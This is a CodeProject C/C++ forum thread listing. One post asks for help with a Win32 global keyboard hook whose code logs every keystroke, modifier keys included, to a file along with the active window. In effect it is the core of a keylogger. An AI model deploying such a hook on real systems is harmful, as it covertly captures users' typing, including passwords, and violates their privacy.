Click here to Skip to main content
15,915,702 members
Home / Discussions / C / C++ / MFC
   

C / C++ / MFC

 
QuestionCalling COM from C [modified] Pin
Fayu22-Apr-10 10:19
Fayu22-Apr-10 10:19 
AnswerRe: Calling COM from C Pin
Gwenio22-Apr-10 10:50
Gwenio22-Apr-10 10:50 
AnswerRe: Calling COM from C Pin
Richard MacCutchan22-Apr-10 11:09
mveRichard MacCutchan22-Apr-10 11:09 
QuestionGetting absolute address of variable in memory Pin
chapultec22-Apr-10 10:10
chapultec22-Apr-10 10:10 
AnswerRe: Getting absolute address of variable in memory Pin
Gwenio22-Apr-10 11:01
Gwenio22-Apr-10 11:01 
GeneralRe: Getting absolute address of variable in memory Pin
chapultec22-Apr-10 14:23
chapultec22-Apr-10 14:23 
GeneralRe: Getting absolute address of variable in memory Pin
CPallini22-Apr-10 21:57
mveCPallini22-Apr-10 21:57 
AnswerRe: Getting absolute address of variable in memory Pin
Stephen Hewitt22-Apr-10 13:58
Stephen Hewitt22-Apr-10 13:58 
GeneralRe: Getting absolute address of variable in memory Pin
chapultec22-Apr-10 14:33
chapultec22-Apr-10 14:33 
AnswerRe: Getting absolute address of variable in memory Pin
Luc Pattyn22-Apr-10 14:28
sitebuilderLuc Pattyn22-Apr-10 14:28 
AnswerRe: Getting absolute address of variable in memory Pin
Michel Godfroid23-Apr-10 1:34
Michel Godfroid23-Apr-10 1:34 
GeneralI'm looking for a partner to help each other Pin
fyl22222-Apr-10 6:57
fyl22222-Apr-10 6:57 
GeneralRe: I'm looking for a partner to help each other Pin
loyal ginger22-Apr-10 7:43
loyal ginger22-Apr-10 7:43 
QuestionCreate Handle on Remote Disk or Volume Pin
GaryT8022-Apr-10 5:57
GaryT8022-Apr-10 5:57 
AnswerRe: Create Handle on Remote Disk or Volume Pin
Michel Godfroid22-Apr-10 7:34
Michel Godfroid22-Apr-10 7:34 
QuestionMigrating code from VS6 to vs 2008 Reloaded Pin
Jim Crafton22-Apr-10 5:18
Jim Crafton22-Apr-10 5:18 
AnswerRe: Migrating code from VS6 to vs 2008 Reloaded Pin
Joe Woodbury22-Apr-10 8:23
professionalJoe Woodbury22-Apr-10 8:23 
GeneralRe: Migrating code from VS6 to vs 2008 Reloaded Pin
Jim Crafton22-Apr-10 8:24
Jim Crafton22-Apr-10 8:24 
GeneralRe: Migrating code from VS6 to vs 2008 Reloaded Pin
Maximilien22-Apr-10 10:14
Maximilien22-Apr-10 10:14 
GeneralRe: Migrating code from VS6 to vs 2008 Reloaded Pin
Jim Crafton22-Apr-10 10:17
Jim Crafton22-Apr-10 10:17 
QuestionClass View - "Add" menu item is missing for some classes. Pin
Mike Doner22-Apr-10 4:54
Mike Doner22-Apr-10 4:54 
Questionwindow handle of a key pressed Pin
Srivathsa_22-Apr-10 3:55
Srivathsa_22-Apr-10 3:55 
HI all,
I'm trying to intercept keys pressed from a keyboard..
I'm doin it in C(win32), using VS2008 IDE
I'm not able get the window handle of the key pressed.. i want to build a hierarchy from this handle by next calling the GetParent() till the application window..
Not able to find the first handle.. stuck up here since a week..
Also, i 'm not able to intercept combination keys like, CTRL+A, ALT+F etc., & since 'm using keydown & so not able to restrict series of CTRL, ALT, CAPS_LOCK keys, wherin i need just a single entry for such keys..
'm posting the code below..


__declspec(dllexport) LRESULT CALLBACK KeyBoardProc(int Code, WPARAM wParam, LPARAM lParam)
{
	if ( Code < 0  ) 
		return CallNextHookEx(hKeyHook, Code, wParam, lParam);
 
	if( Code == HC_ACTION && !(lParam & (1 << 31)) )
                  ProcessKey(wParam, lParam);
 
	return CallNextHookEx(hKeyHook, Code, wParam, lParam);
}
 
DWORD ProcessKey(WPARAM wParam, LPARAM lParam)
{
	BYTE KeyBoardState[256];
	WCHAR TempBuffer[50];
 
	int Index, RepeatCount = 1;
 
	hActiveWnd = NULL;
	hActiveWnd = GetActiveWindow();
 
	switch(wParam)
	{
	case VK_RETURN:
		WriteToLog(L"\n"); // writing key pressed to file
		break;
 
	case VK_TAB:
		WriteToLog(L"[TAB]");
		break;
 
	case VK_BACK:							
		WriteToLog(L"[BS]");
		break;
 
	case  VK_CONTROL:
		if(lParam & 0x01000000)	//scan code :scan code 24th bit is high right alt key is pressed
			WriteToLog(L"[RCTRL]");
		else
			WriteToLog(L"[LCTRL]");
		break;
 
	case  VK_SHIFT:
		if(lParam & 0x040000)	//scan code
			WriteToLog(L"[RSHIFT]");	//Right Shift:1[1]0[1]100000000000000001->0x36
		else
			WriteToLog(L"[LSHIFT]");	//Left Shift :1[0]1[0]100000000000000001->0xAA
		break;
 
	case VK_MENU:
		if(lParam & 0x01000000)	//scan code :24th bit is high right alt key is pressed
			WriteToLog(L"[RALT]");
		else
			WriteToLog(L"[LALT]");
		break;
 
	case VK_LEFT:
		WriteToLog(L"[LARROW]");
		break;
 
	case VK_RIGHT:
		WriteToLog(L"[RARROW]");
		break;
 
	case VK_UP:
		WriteToLog(L"[UPARROW]");
		break;
 
	case VK_DOWN:
		WriteToLog(L"[DOWNARROW]");
		break;
 
	case VK_ESCAPE:
		WriteToLog(L"[ECS]");
		break;
 
	default:
		GetKeyboardState(KeyBoardState);
		UINT ScanCode = lParam & 0X00FF0000;
 
		memset(TempBuffer, 0, sizeof(TempBuffer));
 
		ToAscii(wParam, ScanCode, KeyBoardState, (LPWORD)TempBuffer, 0);
 
		WriteToLog(TempBuffer);
 
		break;
	}	//end of switch		
 
	return TRUE;
}





Any suggestions would be of great help..

look fwd to ur help....
thank yu Smile | :)
AnswerRe: window handle of a key pressed Pin
Code-o-mat22-Apr-10 4:46
Code-o-mat22-Apr-10 4:46 
GeneralRe: window handle of a key pressed Pin
Srivathsa_22-Apr-10 4:48
Srivathsa_22-Apr-10 4:48 
AnswerRe: window handle of a key pressed Pin
Stephen Hewitt22-Apr-10 5:11
Stephen Hewitt22-Apr-10 5:11 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.